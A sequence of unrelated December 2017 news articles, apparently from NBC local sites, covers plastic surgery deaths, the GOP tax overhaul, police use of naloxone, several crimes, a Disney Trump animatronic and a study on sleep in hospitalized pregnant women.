The NBC 6 Investigators have uncovered the deaths of 13 women after plastic surgery since 2010. Most of those deaths involved Brazilian Butt Lifts. The reporting sparked a worldwide study and caused a taskforce to urge doctors to use their instruments closer to the surface of the skin.

"Its terrible, its Groundhogs Day," said Dr. Pat Pazmino of the Miami Society of Plastic Surgeons. "We continue to have these deaths in Miami and its a tragedy."

In a statement, a spokesperson for Jolie Plastic Surgery said in part "Cosmetic surgeries, like all surgeries, carry some degree of risk for pain, bleeding or other complications; we take great precautions in running numerous exams to assure the safety of the patients. All standard pre-operative procedures were administered."

The doctor who performed Londons surgery is Dr. Arnaldo Valls. The spokesperson called him "a caring and skilled surgeon with over 40 years of medical experience."

The statement went on to say "with thousands of surgeries under his surgical expertise, Dr. Valls has kept a clean record of no loses. The incident has impacted him greatly and he sends prayers to the loved ones of the patient."
An animatronic figure of Donald Trump has joined Disney's Hall of Presidents in Florida.

The Orlando Sentinel reports that a robotic facsimile of the 45th president of the United States stood front and slightly off-center Monday for the soft reopening of the long-running Walt Disney World attraction.

The Trump figure moves his head during the traditional roll call of leaders, motions with his arms and gives a brief speech. A Disney spokeswoman says Trump recorded his Hall of President's script earlier this year. Every sitting president since Bill Clinton has had a speaking part.

The Hall of Presidents debuted at the Magic Kingdom in 1971 and gets an update with each change in leadership. After closing in January, the theater received an upgrade in its sound, light and projection packages.

[NATL] Donald Trump's Presidency in Pictures

Disney has not announced an official opening date.
A Florida lawyer was arrested after being caught with his pants down, mid-sex act with an inmate, investigators say.

Now officials say they believe it wasn't the first time Andrew Spark had engaged in sexual acts with inmates, with investigators saying the attorney was paying women $30 to $40 per session and filming some of his encounters on a iPad.

Spark, 54, was busted in a private visitation room Sunday with a female inmate at the Pinellas County Jail.



Deputies arrested him for reportedly soliciting sex and having sexual contact with inmates at the Pinellas County Jail.

Hes accused of using his position as an attorney to gain private access to female inmates who he wasnt representing in different facilities across the Tampa Bay area and central Florida, investigators say.

Pinellas County Sheriff Bob Gualtieri said Spark recorded videos of the encounters and is believed to have published the content online.

Gualtieri said attorneys are the only people allowed to bring electronics into the jail with the understanding that the devices will be used for work with clients.

Deputies were tipped off prior to Sparks recent visit Sunday and wired a visitation room before he saw inmate Antoinette Rose Napolitano, Gualtireri said.

Spark is accused of having had sexual encounters with Napolitano in visitation rooms from June up until Sunday.

Spark would offer money in exchange for sex, the sheriff said.

Gualtieri said records show several deposits to Napolitanos accounts from Spark, ranging in the amounts of $30 to $40, and sometimes less.

Investigators were unsure of the exact number of inmates involved, but they knew of another incident where they believe Spark approached an inmate he previously met at a pornography convention.

Gualtieri said that inmate turned down Sparks offer to make a sex video in the visitation room.

Spark was later released from jail and responded to the accusations via text message saying he was planning to release a statement.

There were no plans to change operation procedure at the jail the women who were involved with Spark would not be charged, the sheriff said.

Pinellas County criminal defense attorney John Trevena said the case was "unbelievable".



"I mean it is truly a new low for the legal profession," he said. To think that something like that is going on with a licensed attorney who is supposed to be there defending someone.

Investigators were waiting for a warrant to get into Sparks iPad. They hoped to find out the number of videos and websites where the content was believed to have been published.
What to Know Federal investigators say the Amtrak train that hurtled off an overpass and onto a highway was traveling at 80 mph in a 30 mph zone

The divide over naloxone, the popular overdose antidote, shows just how elusive solutions are on the front lines of the U.S. opioid crisis

Three women who accuse Dustin Hoffman of inappropriate sexual behavior recounted being starstruck and stunned by his advance toward them

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Amtrak Train Was Traveling at 80mph in 30mph Zone, NTSB Says



An Amtrak train making the first-ever run along a faster new route hurtled off an overpass south of Seattle and spilled some of its cars onto the highway below, killing at least three people, injuring dozens and crushing two vehicles, authorities said. Attention quickly turned to the train's speed. Federal investigators say the train was traveling at 80 mph in a 30 mph zone. Bella Dinh-Zarr, an NTSB board member, said at a news conference that information from the event data recorder in the rear locomotive provided information about the train's speed. Dinh-Zarr said it's not yet known what caused the train to derail and that "it's too early to tell" why it was going so fast.

GOP Set to Roll $1.5T Final Tax Bill Through House, Senate

Their long-sought political goal within grasp, Republicans in Congress are set to catapult sweeping $1.5 trillion tax legislation through the House, rolling over a dozen GOP defectors from high-tax states. The Republicans' final drive to deliver the tax package to an eager President Trump begins with a vote in the House. Quickly following, a vote later in the day in the Senate is expected to seal the deal. Both tallies likely will cling along party lines. The Senate result was in doubt in recent weeks. Only on Friday did Republican leaders cement the needed support for the legislation, securing endorsements from wavering GOP senators Marco Rubio of Florida and Bob Corker of Tennessee. More holdout GOP senators moderate Susan Collins of Maine and Mike Lee of Utah  came into the fold. Now the biggest reshaping of the U.S. tax code in three decades is on a clear path to passage and a presidential signing into law.

Trump Administration Blames N. Korea for Big Ransomware Attack

President Trump's administration is publicly blaming North Korea for a ransomware attack that infected hundreds of thousands of computers worldwide in May and crippled parts of Britain's National Health Service. Homeland security adviser Tom Bossert wrote in a Wall Street Journal op-ed published Monday night that North Korea was "directly responsible" for the WannaCry ransomware attack and that Pyongyang will be held accountable for it. Bossert said the administration's finding of responsibility is based on evidence and confirmed by other governments and private companies, including the United Kingdom and Microsoft. "North Korea has acted especially badly, largely unchecked, for more than a decade, and its malicious behavior is growing more egregious. WannaCry was indiscriminately reckless," he wrote. Bossert said the Trump administration will continue to use its "maximum pressure strategy to curb Pyongyang's ability to mount attacks, cyber or otherwise."

On the Front Lines of Drug Crisis, U.S. Police Split on Narcan

One sheriff firmly believes it's a call of duty for his deputies to carry a nasal spray that brings people back from the brink of death by drug overdose. Less than 50 miles away, his counterpart is dead set against it, saying it subjects deputies to danger while making no lasting impact on the death toll. The divide over naloxone, the popular overdose antidote, between nearby sheriffs in two hard-hit counties in one of the hardest-hit states for drug deaths shows just how elusive solutions are on the front lines of the U.S. opioid crisis. Some police officials cite lack of resources for obtaining, maintaining and tracking supplies and for training in when and how to use it. They worry about taking on new duties they say are better suited for medical workers, divert them from fighting crime and can put them in danger. They get support from some citizens weary of people who overdose repeatedly. Police who do carry it say that development of a nasal spray called Narcan makes naloxone simple to administer, that the $75 two-dose kits are usually given to them by health departments or community organizations, that it's not a major burden to track and maintain supplies and that it's a natural extension of their mission to serve and protect.

U.S. Health Officials to Target High-Risk Alternative Remedies

U.S. health officials plan to crack down on a growing number of unproven alternative remedies, focusing on products containing dangerous ingredients that have occasionally been linked to serious injury and death. The Food and Drug Administration issued a new proposal for regulating homeopathic medicines that have long been on the fringe of mainstream medicine. The agency plans to target products that pose the biggest safety risks, including those marketed for children or for serious diseases. But under the government's framework, the vast majority of low-risk products would remain on the market. Popular homeopathic brands include Zicam Allergy Relief and Cold-Eeze. Long regarded by scientists as a form of modern-day snake oil, homeopathic products are treated as drugs under law, but not supported by modern science. Most remedies contain heavily diluted drugs, vitamins and minerals.

Dustin Hoffman Accusers Say He Eroded Self-Confidence, Dignity

Three women who accuse Dustin Hoffman of inappropriate sexual behavior recounted to NBC News being starstruck when they met the celebrated actor  and then stunned by Hoffman's advances toward them. Two were underage when the alleged sexual misconduct happened. The third says she was subject to night after night of inappropriate touching during months on Broadway with him. "It eroded my self-confidence and my dignity," Kathryn Rossetter, who co-starred with Hoffman in the Broadway production of "Death of a Salesman" and the subsequent TV movie version of the screenplay, told NBC News. "It was humiliating and demeaning ... he robbed me of the joy of that experience." Rossetter is one of several women who recently came forward with decades-old allegations against Hoffman.
It's a tax provision that could prove costly for schools, police forces, drug treatment centers and other state and local public services.

The sweeping tax overhaul embraced by President Donald Trump and Republican lawmakers would impose a $10,000 limit on the combined sum of property and state and local income taxes that a household could deduct. The $10,000 cap will help pay for corporate and personal tax cuts totaling $1.5 trillion over the next decade.

Conservatives have argued that unlimited state and local deductions amount to a federal subsidy for the wealthy in high-tax states like New York, New Jersey and California. But many middle class families in those states face disproportionately high housing costs and depend on deducting their state and local taxes. These households could soon pressure states and localities to ease their burden by cutting taxes  which would likely force cuts to social programs and public services.

Some Republicans in high-tax states resisted their party's cap on local and state deductions. Two of them  Reps. Darrell Issa of California and Lee Zeldin of New York  oppose the overall tax measure because of the likelihood that it would hurt their constituents. And despite Republican arguments to the contrary, high-tax states already tend to send more money to Washington than they receive back in federal spending.

"On balance, this bill remains a geographic redistribution of wealth  taking extra money from a place like New York to pay for deeper tax cuts elsewhere," Zeldin said. "This bill chooses winners and losers in a way that could have and should have been avoided."

More than 73 percent of homeowners in Westchester County just north of New York City face property taxes alone that exceed $10,000. This means they couldn't deduct any state or local income taxes. The same is true of half of Manhattan homeowners, a quarter of those in San Francisco, 17 percent of suburban Chicago homeowners and 10 percent of those in Arlington, Virginia, just outside of Washington, D.C., according to figures tracked by Attom Data Solutions.

The limit on the deduction could lead taxpayers there to demand lower taxes or to reject any additional funding requests for state pensions, schools, public safety and health services. What's more, a separate provision in the Republican tax bill would no longer subsidize employers that help their employees pay their commuter costs. This change will likely increase the cost of public transit for riders.

The overall tax bill would impose new costs on many taxpayers that would outweigh any savings on federal taxes, argues Matthew Chase, executive director of the National Association of Counties.

"We don't see it as a net gain for taxpayers," Chase said. "They want to strangle our revenue sources."

The National Education Association, a teachers union, estimated that the cap on state and local deductions could put at risk $15.2 billion in annual public school spending, or $304 per pupil. Marc Egan, the association's director of government relations, said the change could discourage local governments from investing in education and might eventually depress economic growth.

"We're always making the case that investing in education is a common-sense way to grow the economy," Egan said. "Why Congress continues to resist that on a number of fronts is a mystery."

Even as Republicans in Congress decided to cap the state and local tax deduction for households at $10,000, their tax bill will continue to allow corporations to deduct their state and local taxes as a business cost.

Since the federal income tax code was introduced in 1913, Americans have been allowed to exclude the taxes they pay to state and local governments. Roughly a third of taxpayers have enough expenses to itemize their deductions. And nearly all who do so deduct their state, local and property taxes. These deductions have helped make it affordable for cities and states to fund school systems, health care services and police forces, while making it more acceptable for a community's richest households to pay taxes that can help the poorest.

The Republican tax bill nearly doubles  to $24,000  a family's standard deduction, which goes to taxpayers who don't itemize their deductions. So there would automatically be fewer people who would deduct their state and local taxes. But in addition, many households in high-tax states could no longer itemize their deductions because of the new cap on state and local taxes. This could reduce the perceived value of these taxes and incentivize voters to push for lower state and local taxes  a stated goal of some conservatives.

Gov. Bill Haslam has said he thinks the tax overhaul could encourage more people to move from high-tax states to his state of Tennessee, which charges no state income tax.

"We think it actually will encourage both investment growth and population growth in Tennessee," Haslam said.

High-tax states are already considering adjustments to their policies. Steve Sweeney, president of the New Jersey Senate, has warned that the bill could derail his state's planned tax increase on millionaires. That idea, estimated to generate about $600 million in revenue, is a central pledge of Democratic Gov.-elect Phil Murphy's agenda to help raise pension payments and school funding. Murphy has said he is still committed to the tax hike on wealthy earners. But if lawmakers now balk, its prospects become more problematic.

California lawmakers are considering ways to restructure the state's tax code to limit the impact on its taxpayers, said Assemblyman Phil Ting, a San Francisco Democrat. Speculation has centered on reducing income taxes and raising payroll taxes  in effect, shifting some of the state tax burden from workers to employers.

"We're looking at a variety of alternatives," Ting said.

Allowing up to $10,000 of state and local taxes to continue to be deducted, he said, "takes it from horrible to slightly less horrible."

AP writers Erik Schelzig contributed to this report from Nashville, Jonathan Cooper from Sacramento and Michael Catalini from Trenton.
Authorities in eastern Pennsylvania say a woman stabbed her roommate during a dispute over candy, injuring the victim's leg.

Charges against 54-year-old Tracy Mitchell include aggravated assault and reckless endangerment stemming from the stabbing around 2:30 a.m. Monday, Reading police said.

The victim claims Mitchell was holding a pocket knife in one hand and a picture frame in the other as they argued in their apartment. She says Mitchell tried to strike her with the picture frame as they both fell to the floor.

The woman says she tried to hold Mitchell on the ground, but Mitchell stabbed her once in the leg. Mitchell left the apartment shortly afterward.

It was unclear Tuesday if Mitchell, who remained jailed unable to post $1,000 bail, had retained an attorney.
Police have found the hit-and-run vehicle that struck and killed a father of four on I-95 over the weekend but are still searching for the driver.

The vehicle, a 2015 Volkswagen Passat, was located Sunday near State Route 9 and Hamburg Road in New Castle County, Delaware.

The car was involved in a deadly hit-and-run crash on I-95 in Chester City, Pennsylvania shortly before 2:50 a.m. Saturday. Ronald Jahmail Williams, 46, of Chester, had parked his vehicle on the Highland Avenue exit off-ramp on I-95 southbound when he got out for an unknown reason. He was then struck by the Passat and the driver continued south on I-95 toward Delaware.



Williams died from his injuries. Police are still searching for the driver.



Williams, known by his friends as "Peabody," was a popular figure in his community and a father of three sons and one daughter.

"I've known him for years," said Mike Mills. "Good friend of mine. Well-liked guy. Fun-loving guy."

If you have any information on the incident, please call Pennsylvania State Police at 484-840-1000.


The sheriff of Clermont County in Ohio firmly believes it's a call of duty for his deputies to carry a nasal spray that brings people back from the brink of death by drug overdose. Less than 50 miles away, his counterpart in Butler County is dead set against it, saying it subjects deputies to danger while making no lasting impact on the death toll.

The divide over naloxone, the popular overdose antidote, between nearby sheriffs in two hard-hit counties in one of the hardest-hit states for drug deaths shows just how elusive solutions are on the front lines of the U.S. opioid crisis.

Some police officials cite lack of resources for obtaining, maintaining and tracking supplies and for training in when and how to use it. They worry about taking on new duties they say are better suited for medical workers, divert them from fighting crime and can put them in danger. They get support from some citizens weary of people who overdose repeatedly.

Police who do carry it say that development of a nasal spray called Narcan makes naloxone simple to administer, that the $75 two-dose kits are usually given to them by health departments or community organizations, that it's not a major burden to track and maintain supplies and that it's a natural extension of their mission to serve and protect.

"I just say from my personal experience that it is right thing to do," said Sheriff Steve Leahy, whose Clermont County begins in the eastern Cincinnati suburbs, then rolls across hilly fields into Appalachia. Leahy, part of the early wave of police advocates of naloxone, acknowledges he was more inclined to support it after seeing someone close to him struggle for years with heroin.

"Don't get me wrong," Leahy said. "It doesn't mean that we're going to get out of this by hugging everybody, but ... you know, no matter what their plight is and how they got to where they are, it's not for us as law enforcement to decide whether they live or die."

Butler Sheriff Richard Jones, whose county includes growing northern Cincinnati suburbs, older industrial cities and rural areas, also voices compassion. He lost a brother at a young age to alcoholism and drugs, he said, and he recounts cradling infants twitching from the effects of their mothers' drug use.

But people using drugs make choices, he said: "Knowing that they can die from it, but they still do it." (Addiction specialists and federal drug authorities say it's more complicated than that; repeated uses of a drug can result in brain changes and the disease of addiction.)

And, Jones said, people who overdose can be combative when they come to, he said; an officer bent over giving naloxone could get "a brick to the head."

"It's not what we're supposed to do," said Jones, known for blunt talk on such issues as illegal immigration and Donald Trump's GOP presidential campaign. "We won't do it. Period."

A recent visit with Jones by Associated Press reporters came the morning after a man in Middletown revived by firefighters came back to consciousness in attack mode. He injured a firefighter and tried to bite and punch others.

Such instances are rare, authorities say. Quincy, Massachusetts, police pioneered naloxone seven years ago and have reversed nearly 800 overdoses without a single officer being injured, said Lt. Patrick Glynn.

And advocates for those battling addiction say it seems like a natural situation for police, whose very jobs call for facing sudden threats.

In a Butler County mobile home park where the sheriff's office has stepped up patrols after complaints of drug activity, Jones' position has strong support from Brandon O'Hair, 21. Snuggling his newborn daughter, he said he and nearly all his neighbors have had cars or homes broken into by people stealing to fund their heroin habits.

"That's not what they're supposed to do; they're supposed to enforce the law," O'Hair said of the sheriff's refusal to stock naloxone. "I think it's tough love. ... The rest of us shouldn't have to pay for it."

An AP survey of Ohio's 88 sheriffs found that at least 68, or a little more than three-fourths, equip deputies with naloxone. Of those, a half-dozen have begun within the past six months, and most others have less than two years' experience.

It's hard to say what effect naloxone is having on overdose death rates.

Accidental overdose deaths in at least 11 Ohio counties where sheriffs have used the antidote for more than two years went up last year. Butler's did, too, and is on track for another record toll this year. In Clermont, where sheriff's deputies carry naloxone, the death toll went down last year. Statewide, the overdose death toll soared 33 percent, to 4,050 people, in 2016.

Naloxone is also widely distributed to families and friends of people with addiction. Its availability to police and sheriffs dates back only a few years. And attempts to gauge its effectiveness are hindered by variables including geographical variation in drug potency.

Amy Parker, a native and resident of Butler County, was saved twice by naloxone. She doesn't know whether it was police or paramedics who administered it when she overdosed on heroin in Indianapolis a few years ago. She eventually ended her drug use and now is a peer drug counselor, leading group meetings for those in rehabilitation.

The talk by the sheriff and residents of her county against police use of naloxone, she said, adds to the stigma of those battling drugs and to their reluctance to seek help. She bristled at the claim by Jones and others that naloxone enables; the saying among advocates, she says, is that the only thing naloxone "enables" is breathing.

"I don't care how many times it takes," Parker said. "As long as that person is alive, there is hope."

Contributing to this report were Associated Press reporters Kantele Franko and Andrew Welsh-Huggins in Columbus, Lisa Cornwell in Cincinnati, and AP news researcher Jennifer Farrar in New York.
Former longtime Illinois Rep. John Anderson, who ran for president as an independent in 1980, has died at age 95.

The World War II veteran and former prosecutor died Sunday night in Washington, his daughter, Diane Anderson, told The Associated Press.

The 10-term GOP congressman originally sought the Republican presidential nomination in 1980, but he later waged an independent campaign against Democratic President Jimmy Carter and Republican challenger Ronald Reagan. Anderson received 7 percent of the national vote.

Diane Anderson said her father became disillusioned with the direction of the Republican Party and what he saw as a move to the far right.

"He really, really believed the two-party system was broken in 1980," she said. "He wanted to express that, and he did."

Anderson was raised in a conservative home, the son of Swedish immigrants who read the Bible daily and attended church each week, and his strong faith remained a constant throughout his life, his daughter said.

She said he "evolved both personally and professionally on social issues" through the civil rights movement of the 1960s, and was proud to cast the deciding vote in the House Rules Committee for the Open Housing Act of 1968, which prohibited discrimination in the sale, financing or rental of housing.

Anderson served as chair of the House Republican Conference for 10 years before stepping away from the leadership post and his House seat to run for president.

Anderson was from Rockford, about 80 miles (129 kilometers) northwest of Chicago, and earned a law degree from the University of Illinois. He was elected Winnebago County state's attorney, serving from 1956 until he won his congressional seat in 1960. He served in Congress until 1981.

Republican U.S. Rep. Adam Kinzinger, who now represents Illinois' 16th Congressional District, called Anderson an inspiration.

"He believed that his job was worth giving up in order to set a better example of realism in politics," Kinzinger said in a statement. "We are better for his candor, his focus, and his honesty."

Anderson is survived by his wife of 64 years, Keke, five children and 11 grandchildren.

His family said a memorial service will be planned for early spring in Washington.
A mother said she was traumatized after coming to pick up her young daughter from school and being told the 3-year-old had been sent with a stranger.

When the normal school day at Cleveland Elementary School ended at 3:15 p.m., the girl went to an aftercare program as usual.

Around 5 p.m., a man came to pick up his 3-year-old niece. Staff then allowed him to leave a child he wasn't authorized to pick up.

The girl's mother arrived 30 minutes later, but her child wasn't there.

"All the wrong things were running through my mind," the girl's mother said. "What if she doesn't come back home?"

The mother, who asked not to be named, called the police.

After being with the stranger for an hour, the girl was returned to the school about 6 p.m., safe and unharmed.

The man said he didn't notice he had picked up the wrong child, because the girl had responded to his niece's name.

"Anything could have happened," the mother said. "How could you even make that mistake?"



This year is the girl's first at Cleveland Elementary School. Things were going well, the family told News4, until this case of apparent mistaken identity.

The mother didn't send her daughter back to school on Monday. Instead, the girl stayed with her grandmother.

The girl's mother doesn't feel comfortable yet sending her daughter back. "What if I come back today and she's not there again?"

D.C. public schools said they are looking into the situation. "D.C. Public Schools is committed to fostering a learning environment where students are safe and secure," officials said in a statement.

This is not the first time issue that caused concern among Cleveland Elementary School parents.

The head of Cleveland Elementary after school program was under investigation for assaulting a child in October. Police said they are not charging that staff member.

The program has been in disarray since that staff member's departure, parents said.

Lacey Thornton, 32, a fourth grade teacher at Cleveland Elementary School, was arrested on Nov. 3 after being accused of hitting a student.

Both staff members were placed on administrative leave.
By Ritah Kemigisa:

The opposition Democratic Party has called upon all Ugandans and political parties to put aside their differences and unite to fight bad governance.

Addressing journalists at the partys weekly news conference of the year, the spokesperson Kenneth Kakande said the proposal by the majority of the NRM Members of Parliament to endorse the constitution amendment seeking to remove presidential age limit should energize them to fight what he calls dictatorship.

Kakande says they are determined to fighting on and protect the constitution, adding that the battle is not only for the opposition but rather for the whole country.

Kakande argues that Uganda is big enough to accommodate alternative leadership and thus the opposition will not stand by an look on while the constitution is abused.

The Democratic Partys calls comes as debate continues in parliament on the controversial age limit bill.
A large fire tore through a Hillcrest Heights apartment building Tuesday morning, injuring five people and leaving 32 people without a home less than a week before Christmas.



The fire engulfed the top two floors of the building in the 3300 block of Curtis Drive just after 7 a.m. When firefighters arrived, flames could be seen coming from the roof.

Firefighters rescued two people from the building before evacuation tones sounded, forcing all firefighters out of the building, Prince George's County Fire Department spokesman Mark Brady said on Twitter.

Firefighters also used fire hydrants outside the complex because of water issues at the complex, Brady said. Additional firetrucks were called to the scene to help handle the water supply.

Update, 3300 Blk Curtis Drive, 2-Alarm fire is now under control. 5 residents treated for smoke inhalation and 2 transported to local Hosps pic.twitter.com/5EjQQgCE1q  PGFD PIO (@PGFDNews) December 19, 2017

Five residents were treated for smoke inhalation and three were transported to a local hospital. An injured firefighter was treated and able to return to duty, Brady said.

Photos from the scene show some units gutted by the fire. Twenty-one adults and 11 children were displaced by the fire, the Red Cross said. The Red Cross will give the adults toys to give their children, as well as money for hotels, food and clothing.

"We have teddy bears that we pass out, but we don't pass them out. We give them to the parents. So now the parent is in the role of taking care of the kid," said Red Cross Regional Disaster Director Paul Carden.

Some local churches are also helping the 12 families displaced by the fire.

The cause of the fire is under investigation.
A federal judge on Monday ordered President Donald Trump's administration to allow two pregnant immigrant teenagers in U.S. custody to obtain abortions.

U.S. District Judge Tanya Chutkan said the Republican administration can't prevent the 17-year-old girls from exercising their right to an abortion.

Both girls arrived in the country as unaccompanied minors and are being held in federal shelters, though it is not known precisely where. The American Civil Liberties Union went to court on behalf of the two girls, as it did in the case of a third 17-year-old girl who was able to obtain an abortion in October following a high-profile court fight.

The current controversy stems from the Trump administration's opposition to abortion and its decision to change the policy of the Obama administration concerning minors who are detained trying to enter the country. Earlier this year, the office in the Health and Human Services Department that oversees the shelters prohibited them from taking steps to facilitate an abortion without its direct approval.

One teen is about 10 weeks pregnant, and the other is now about 22 weeks pregnant, Chutkan said. She "is quickly approaching the limit for abortion in the state where she is being detained," the ACLU argued in its lawsuit.

Lawyers for the government made clear at a court hearing earlier Monday that the administration would not allow her to have an abortion, Chutkan said in her ruling.

The judge is giving the administration 24 hours to try to persuade a higher court to block her order.

As it applies to the teenager who is 10 weeks pregnant, the administration appealed the judge's ruling to both the federal appeals court in Washington and to the Supreme Court. But it is not seeking to stop the teenager who is about 22 weeks pregnant from having an abortion.

Scott Lloyd, the head of the HHS office that oversees the shelters, said in an email that facilities under HHS "should not be supporting abortion services pre or post-release," but rather "life-affirming options counseling."

Chutkan said the HHS office continues to claim "ultimate authority to unilaterally veto the reproductive choices of the unaccompanied minors in its custody."

The federal appeals court in Washington ruled for the third teenager in October, and her abortion took place without the administration asking the Supreme Court to step in.

That teenager is being held in Texas, where minors need either their parents' consent or a judge's approval for an abortion. The other two girls are in states where minors don't need consent, the ACLU said, but it has refused to identify the states or say where the teens are from.
A single mother of four from Maine says her faith in humanity has been renewed after a stranger gave her a $500 tip, saving Christmas for her children.

When Trisha Murphy, of Sullivan, isn't working at a nursing home in Seaport Village, she picks up extra shifts at a Denny's restaurant, all while taking classes to become a certified nurse assistant.

In a Facebook post Sunday, Murphy wrote that she began her Saturday morning shift at Denny's particularly stressed because her car was towed and she did not know how she could afford to pay the $735 she needed to get it out and buy Christmas presents for her school-aged kids.

"I went into work, racking my brain as to how I was going to pull this off," she wrote. "I can pick up a couple extra shifts and do some odd jobs. That would mean I'd have to pay extra for a sitter though."

Murphy wrote that she "painted on a smile" and waited on a table of three men.

"The older of the three kept asking me about Christmas. I just told him I'm in it for my kids, but besides that, I don't really get into it all that much," she wrote. "He joked that he'd come be Santa."

When it came time to pay the bill, Murphy said the man insisted she cash him out instead of the restaurant's hostess.

"When he put his card in, he had a huge, ear to ear, smile. The receipt printed and I almost collapsed!" Murphy said of the $500 gratuity on the receipt. "I looked up at this grungy-looking man, my face as white as snow, and tears in my eyes. He just smiled again and said 'Merry Christmas, dear.'"

Murphy says she doesn't know the man's name, but hopes "he realizes that he literally saved Christmas for my children and I."

"Good people do still exist. Yesterday was the day I met Santa," Murphy added.
A man is in custody following a fatal stabbing and hours-long standoff in Providence, Rhode Island.

WJAR-TV reported that officers used force to enter a building on Tobey Street Tuesday morning where the suspect, Nathan Spardello, 28, was seen being taken out on a stretcher.

No other injuries were reported.

Police said Spardello had been wanted in connection with the death of a 46-year-old man who had been stabbed multiple times at 62 Russo St at about 3:15 p.m. Monday. The victim, who has not been identified, was taken to an area hospital where he died from his injuries.

Police told WJAR-TV that the stabbing stemmed from some sort of domestic disturbance which started at another location in Providence.

Following the stabbing, authorities say Spardello fled to Tobey Street where he held a resident hostage for hours until police were able to get inside the building.

"They were able to breach open the door, a taser was deployed, the suspect was taken into custody and there are no injuries," said Providence Police Maj. Michael Correira.

Police say Spardello is facing multiple domestic charges. It's unclear what other charges he is facing.

The investigation is ongoing.
A Massachusetts man pled not guilty Monday to accusations he killed a couple in southern Vermont and burned down their home.

"Sad. Very sad," said Diane Lovely, the sister of victim Steve Lovely, describing the mood in their family this Christmas.

In a Brattleboro, Vermont, courtroom, Lovelys family saw the suspect Justin Orwat, 47, of Springfield, Massachusetts.

Orwats defense attorney, Dan Sedon, entered a not guilty plea on his clients behalf on charges of aggravated murder and arson.

Prosecutors say in late October, Orwat shot Lovely and Lovely's girlfriend, Amanda Sanderson, inside their home in the southern Vermont community of Townshend. Orwat then allegedly burned the house down with the victims' bodies inside.

A police investigation linked Orwat to the victims because earlier in October, they were together when stopped by police in Bellows Falls. Officers discovered a large amount of cash, trace amounts of marijuana, white powder, and small plastic bags, according to a police affidavit.

Steve Brown, a Windham County prosecutor, said he's not aware of any criminal charges having been filed in that case.

The suspect was arrested in Massachusetts on outstanding warrants there and was recently returned to Vermont to face the new charges.

According to police, Orwats SUV had a gasoline can in it. Detectives made note of that in paperwork because a police dog detected the scent of an accelerant at the fire scene.

"The state police, really, they did a great job processing that scene, to try to recover every bit of evidence that we could recover," said Deputy Windham County States Attorney Steve Brown.

According to the police affidavit, the suspect's wife, Tami Orwat, told Vermont State Police detectives the four would use drugs together, until the men had a falling out over suspicions Orwat was stealing.

Tami Orwat said in an interview with detectives that on the night of the killing, her husband was paranoid from having taken bath salts and other drugs.

In an interview with necn after the brief arraignment, some of the victims loved ones painted a distinctly positive picture of Lovely and Sanderson. They called them beautiful, fun, caring, big-hearted people, who only made the mistake of letting Justin Orwat stay with them.

"We could live 150 years and not be able to wrap our heads around what these folks have done," Billie-Jo Fournier, Steve Lovelys sister, said of the Orwats. "I hope (Orwat) never sees the light of day. I hate to be that way at Christmastime, but Ill never wrap my head around what he did to these innocent people."

Brown noted that at this time, Tami Orwat is not facing any criminal charges. In the police interview, she said she was unaware of the fire until much later, and claimed her husband never confessed to her about shooting the couple.

Judge Michael Kainen ordered Justin Orwat jailed without bail. If hes found guilty of aggravated murder, he'll serve a mandatory sentence of life in prison without parole.
A homicide investigation is underway after a Massachusetts man's body was found on Monday.

Cape & Islands District Attorney Michael O'Keefe announced that the body of 64-year-old Mashpee resident Raymond Perry was found in Plymouth near the Carver town line.

Perry died from a combination of blunt force trauma to the to the head and cutting wounds to the neck, with the manner of death being ruled a homicide, according to authorities.

He's been missing since Dec. 1, according to the Cape Cod Times.

No other details about the investigation were immediately available; however, the Cape Cody Times reports Perry's 37-year-old son Eli Perry was arrested during a traffic stop in Plymouth when a gun was found under his driver's seat about a week after his father was reported missing.

Eli Perry reportedly has since pleaded not guilty to multiple charges, including carrying a firearm without a license and driving with a suspended license.

The investigation is ongoing.
A Vermont man who in a jealous rage doused his estranged wife with industrial-strength lye and burned her so badly she needed a face transplant has died at a Pennsylvania hospital.

Sixty-two-year-old Herbert Rodgers had been serving a 30- to 70-year prison sentence in Pennsylvania and died Monday. Vermont officials say it appears Rodgers' death was "related to a medical issue."

Rodgers admitted breaking into Carmen Tarleton's house in 2007 intending to kill a man with whom he believed she was romantically involved. He poured the toxic chemical over her and later said, "I lost it, I just lost it."

The Vermont health services director will conduct a review of Rodgers' death.

Vermont houses some inmates out of state to alleviate overcrowding in its prisons. Rodgers was imprisoned in Michigan but was moved to Pennsylvania in June


Bishop of Norwich's new book reveals his sacred places Bishop of Norwich's new book reveals his sacred places

A Place for God, is Bishop Graham James latest book of 40 short reflections about sacred spaces where he has encountered God. Review by Keith Morris.
A study shows that a hospital-based behavioral intervention protocol including components of sleep hygiene and cognitive behavioral therapy successfully improved sleep in women who were hospitalized for a high-risk pregnancy.

Results show that women in the intervention group had significantly lower sleep disturbance scores than controls. They also had fewer symptoms that can interfere with sleep such as pain or nervousness.

"We know getting adequate sleep is difficult in hospital settings, and hospitals try various strategies to reduce noise, but our strategies place the patient in more control of her room and environment for sleep," said lead author and principal investigator Kathyrn Lee, RN, CBSM, PhD, professor emerita in the Department of Family Health Care Nursing at the University of California, San Francisco.

The study results are published in the Dec. 15 issue of the Journal of Clinical Sleep Medicine.

Many pregnant women experience disturbed sleep, especially if they are hospitalized for a high-risk pregnancy. Stress and fear, coupled with the bright lights and loud noises of the hospital, can contribute to sleep disturbances.

The study by Lee and colleague Caryl L. Gay, PhD, involved 25 high-risk pregnant women whose sleep measures were compared during one week of hospitalization before and after implementation of a Sleep Improvement Protocol for Antepartum Patients. Participants were on average 30 weeks pregnant and 33 years old.

The intervention group received usual care and written information about sleep hygiene, a set of tips and strategies to help people develop healthy habits that promote better sleep. Cognitive behavioral strategies for dealing with stress and worry were tailored to the hospitalized antepartum population. Emphasis was placed on prioritizing time for sleep for patient health and well-being.

Women in the intervention group also received a sleep kit to help promote a sleep-friendly bedroom environment. Kits included a fan, white noise machine, eye mask and earplugs.

"Women were eager to participate, very accepting of our strategies, and loved items in the kit," said Lee. "They said they would utilize the materials and information we provided when they went home. This could work for other types of patients, and hospital volunteers can easily assemble these sleep kits."

Sleep was assessed using the Pittsburgh Sleep Quality Index, a daily sleep diary, and the General Sleep Disturbance Scale. Symptoms that could affect sleep were assessed with the Memorial Symptom Assessment Scale. Both groups reported in their sleep diaries that the most frequent reason for awakenings during the night was monitoring by the nursing staff, followed by noise in the hallway.

According to the authors, study results suggest that health care providers should teach about healthy sleep hygiene behaviors early in pregnancy during routine prenatal visits.

"Some women reported only sleeping 5 hours a night at home before coming into the hospital," said Lee. "A pregnant woman should be making sleep a priority."

